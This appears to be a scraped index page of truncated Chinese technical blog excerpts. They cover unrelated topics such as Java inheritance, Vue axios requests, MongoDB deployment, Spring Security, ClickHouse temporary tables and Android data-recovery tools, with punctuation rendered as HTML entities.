一、什么是继承 1、继承的概念 举例理解&#xff1a; 根据打印机的原理&#xff0c;我们可以知道不管是彩色打印机还是黑白打印机&#xff0c;实现的都是一个功能&#xff1a;打印&#xff0c;这是二者的共性。彩色打印机和黑白打印机都继承了打印机的打印功能&#xff0c;且二…

基于T1w/T2w 比值揭示髓磷脂相关变化

前言&#xff1a; 最近在阅读文献的时候发现2篇文章&#xff0c;是采用T1w/T2w 比值表征髓磷脂&#xff0c;有点感兴趣&#xff0c;因此尝试了一下文献所提出的方法。&#xff08;https://www.ncbi.nlm.nih.gov/pmc/articles/PMC9247578/ https://www.ncbi.nlm.nih.gov/pmc/ar…

vue的网络请求以及封装

①先备好springboot的接口 ②安装依赖 在vue中安装网络请求工具的依赖&#xff1a; npm i axios③简单的demo 直接通过axios请求尝试一下&#xff1a; <script> import axios from "axios";export default {name: HomeView,data() {return {users:[]}}, …

言语残疾和言语残疾分级

言语残疾和言语残疾分级 言语残疾&#xff0c;指各种原因导致的不同程度的言语障碍&#xff0c;经治疗一年以上不愈或病程超过两年&#xff0c;而不能或难以进行正常的言语交流活动&#xff0c;以致影响其日常生活和社会参与。包括&#xff1a;失语、运动性构音障碍、器质性构音…

app移动应用开发

1.案例7.安安的通讯助手 目标 组件设计 素材准备 所有组件的说明及属性设置&#xff08;1&#xff09; 所有组件的说明及属性设置&#xff08;2&#xff09; 所有组件的说明及属性设置&#xff08;3&#xff09;布局小技巧 行为逻辑设计 自动回复短信 短信收发器 组件 记录已收…

MongoDB部署策略

内 容 简 介 本文介绍了MongoDB数据库的优点的数据存储模式的安装部署过程。 利用MongoDB在存储海量数据上的优势&#xff0c;部署存储空间大数据。 欢迎批评指正补充 由于编者水平有限&#xff0c;所搜集资料也很有限&#xff0c;制定的规范肯定有考虑不周全、甚至完全错误…

利用路由懒加载和CDN分发策略对极客园项目进行性能优化

文章目录 前言1.配置路由懒加载2.项目资源打包3.包体积可视化分析4.cdn配置 总结 前言 极客园项目的完成之后&#xff0c;我们需要对项目进行打包以及性能优化&#xff0c;优化用户体验以及加快响应时间&#xff0c;本文只列举了路由懒加载和cdn分发的策略 1.配置路由懒加载 …

Spring Security学习(四)——登陆认证(包括自定义登录页)

前言 和前面的文章隔了很长时间才更新Spring Security系列&#xff0c;主要原因一个是之前太忙了&#xff0c;把项目都忙完了&#xff0c;赶上春节假期&#xff0c;就慢慢研究。Spring Security的体系非常复杂&#xff0c;一口吃不了热豆腐&#xff0c;没办法速成&#xff0c;…

​StableSwarmUI#超越文本的prompt

今天看到一个新的webui方案&#xff0c;是Stability-AI开源的&#xff1a; StableSwarmUI 是一个模块化的稳定扩散web用户界面&#xff0c;着重于使强大的工具易于访问、高性能和可扩展性。 由于项目还在开发中&#xff0c;我们可以先了解下&#xff0c;翻看了它的特点&#xf…

年假作业11

一、选择题 ADDAADADC&#xff0c;BD,D,B,BD,D,C,CD 二、填空题 6 2&#xff0c;3,5,7,9 rgb *s, - a 2,5 *s 三、编程题 1、 #include <iostream> using namespace std; int main() {int arr[10]{10,20,30,40,50,60,70,80,90,100};int m;//从标准输入读取一个…

[职场] 应聘销售的简历怎么写 #职场发展#笔记

应聘销售的简历怎么写 应聘销售的简历怎么写1 基本信息 姓名&#xff1a;吴x 性别&#xff1a;女 毕业院校&#xff1a;徐州师范大学计算机科学院 学历&#xff1a;大专 联系电话&#xff1a;电子邮件&#xff1a; 工作经验&#xff1a;4年 求职意向 期望从事职业&#xff1a;销…

【Spring MVC篇】返回响应

个人主页&#xff1a;兜里有颗棉花糖 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 兜里有颗棉花糖 原创 收录于专栏【Spring MVC】 本专栏旨在分享学习Spring MVC的一点学习心得&#xff0c;欢迎大家在评论区交流讨论&#x1f48c; 目录 一、返回静态页面…

嵌入式培训机构四个月实训课程笔记(完整版)-Linux ARM驱动编程第三天-ARM Linux ADC和触摸屏开发 (物联技术666)

链接&#xff1a;https://pan.baidu.com/s/1V0E9IHSoLbpiWJsncmFgdA?pwd1688 提取码&#xff1a;1688 教学内容&#xff1a; 1、ADC S3C2440的A/D转换器包含一个8通道的模拟输入转换器&#xff0c;可以将模拟输入信号转换成10位数字编码。 在A/D转换时钟频率为2.5MHz时&…

ClickHouse--10--临时表、视图

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 1.临时表1.1 特征1.2 创建一个临时表 2.视图2.1 普通视图2.2 物化视图 1.临时表 1.1 特征 ClickHouse 支持临时表&#xff0c;临时表具备以下特征&#xff1a; 当…

7 大 Android 数据恢复软件,可轻松找回丢失的数据

每年&#xff0c;由于各种原因&#xff0c;数百万人从他们的 Android 设备中丢失数据。它可能像意外删除文件一样简单&#xff0c;也可能像系统崩溃一样复杂。在这种情况下&#xff0c;拥有高效的数据恢复工具可以证明是救命稻草。Mac 用户尤其需要找到与其系统兼容的软件。好消…